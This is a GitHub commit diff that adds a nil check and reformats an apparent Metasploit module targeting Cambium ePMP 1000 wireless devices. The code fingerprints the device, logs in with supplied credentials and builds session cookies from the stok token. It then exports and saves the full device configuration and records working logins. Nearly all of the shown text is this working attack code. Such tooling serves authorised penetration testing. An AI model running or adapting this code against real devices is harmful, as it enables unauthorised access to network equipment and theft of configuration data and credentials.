Skip to content

Commit 62b0efd

Browse files
committed
Added nil check + formatting edits
1 parent c6e65b1 commit 62b0efd

File tree

1 file changed

+68
-26
lines changed

1 file changed

+68
-26
lines changed

modules/auxiliary/scanner/http/epmp1000_dump_config.rb

Lines changed: 68 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -93,8 +93,14 @@ def is_app_epmp1000?
9393
return false
9494
end
9595

96-
if (res && res.code == 200 && res.headers['Server'] && (res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com')))
96+
good_response = (
97+
res &&
98+
res.code == 200 &&
99+
res.headers['Server'] &&
100+
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
101+
)
97102

103+
if good_response
98104
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
99105
epmp_ver = get_epmp_ver[1]
100106
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
@@ -114,9 +120,12 @@ def do_login(user, pass)
114120
begin
115121
res = send_request_cgi(
116122
{
117-
'uri' => '/cgi-bin/luci',
118-
'method' => 'POST',
119-
'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Accept' => 'application/json, text/javascript, */*; q=0.01' },
123+
'uri' => '/cgi-bin/luci',
124+
'method' => 'POST',
125+
'headers' => {
126+
'X-Requested-With' => 'XMLHttpRequest',
127+
'Accept' => 'application/json, text/javascript, */*; q=0.01'
128+
},
120129
'vars_post' =>
121130
{
122131
'username' => 'dashboard',
@@ -125,28 +134,45 @@ def do_login(user, pass)
125134
}
126135
)
127136

128-
if (res && res.code == 200 && res.headers.include?('Set-Cookie') && res.headers['Set-Cookie'].include?('sysauth'))
137+
good_response = (
138+
res &&
139+
res.code == 200 &&
140+
res.headers.include?('Set-Cookie') &&
141+
res.headers['Set-Cookie'].include?('sysauth')
142+
)
143+
144+
if good_response
129145
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
130146

131147
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
132148

133149
res = send_request_cgi(
134150
{
135-
'uri' => '/cgi-bin/luci',
136-
'method' => 'POST',
137-
'cookie' => cookie1,
138-
'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Accept' => 'application/json, text/javascript, */*; q=0.01', 'Connection' => 'close' },
151+
'uri' => '/cgi-bin/luci',
152+
'method' => 'POST',
153+
'cookie' => cookie1,
154+
'headers' => {
155+
'X-Requested-With' => 'XMLHttpRequest',
156+
'Accept' => 'application/json, text/javascript, */*; q=0.01',
157+
'Connection' => 'close'
158+
},
139159
'vars_post' =>
140160
{
141161
'username' => user,
142162
'password' => pass
143163
}
144164
}
145165
)
146-
147166
end
148167

149-
if (res && res.code == 200 && res.headers.include?('Set-Cookie') && res.headers['Set-Cookie'].include?('stok='))
168+
good_response = (
169+
res &&
170+
res.code == 200 &&
171+
res.headers.include?('Set-Cookie') &&
172+
res.headers['Set-Cookie'].include?('stok=')
173+
)
174+
175+
if good_response
150176
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
151177

152178
report_cred(
@@ -158,23 +184,42 @@ def do_login(user, pass)
158184
)
159185

160186
get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/)
161-
stok_value = get_stok[1]
162-
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
187+
if !get_stok.nil?
188+
stok_value = get_stok[1]
189+
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
163190

164-
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
191+
cookie2 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{stok_value}"
165192

166-
config_uri = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json'
193+
config_uri = '/cgi-bin/luci/;stok=' + "#{stok_value}" + '/admin/config_export?opts=json'
167194

168-
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie2, 'headers' => { 'Accept' => '*/*', 'Accept-Language' => 'en-US,en;q=0.5', 'Accept-Encoding' => 'gzip, deflate', 'X-Requested-With' => 'XMLHttpRequest', 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', 'Connection' => 'close' } }, 25)
195+
res = send_request_cgi(
196+
{
197+
'method' => 'GET',
198+
'uri' => config_uri,
199+
'cookie' => cookie2,
200+
'headers' => {
201+
'Accept' => '*/*',
202+
'Accept-Language' => 'en-US,en;q=0.5',
203+
'Accept-Encoding' => 'gzip, deflate',
204+
'X-Requested-With' => 'XMLHttpRequest',
205+
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
206+
'Connection' => 'close'
207+
}
208+
}, 25
209+
)
169210

170-
if res && res.code == 200 && res.body =~ /device_props/
171-
print_good('++++++++++++++++++++++++++++++++++++++')
172-
print_good("#{rhost}:#{rport} - dumping configuration")
173-
print_good('++++++++++++++++++++++++++++++++++++++')
174-
print_good("#{rhost}:#{rport} - File retrieved successfully!")
211+
if res && res.code == 200 && res.body =~ /device_props/
212+
vprint_status('++++++++++++++++++++++++++++++++++++++')
213+
vprint_status("#{rhost}:#{rport} - dumping configuration")
214+
vprint_status('++++++++++++++++++++++++++++++++++++++')
215+
print_good("#{rhost}:#{rport} - File retrieved successfully!")
175216

176-
path = store_loot('ePMP_config', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 device config')
177-
print_status("#{rhost}:#{rport} - File saved in: #{path}")
217+
path = store_loot('ePMP_config', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 device config')
218+
print_status("#{rhost}:#{rport} - File saved in: #{path}")
219+
else
220+
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
221+
return
222+
end
178223

179224
# Extract ePMP version
180225
res = send_request_cgi(
@@ -193,9 +238,6 @@ def do_login(user, pass)
193238
user: user,
194239
password: pass
195240
)
196-
else
197-
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
198-
return
199241
end
200242
else
201243
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")

0 commit comments

Comments
 (0)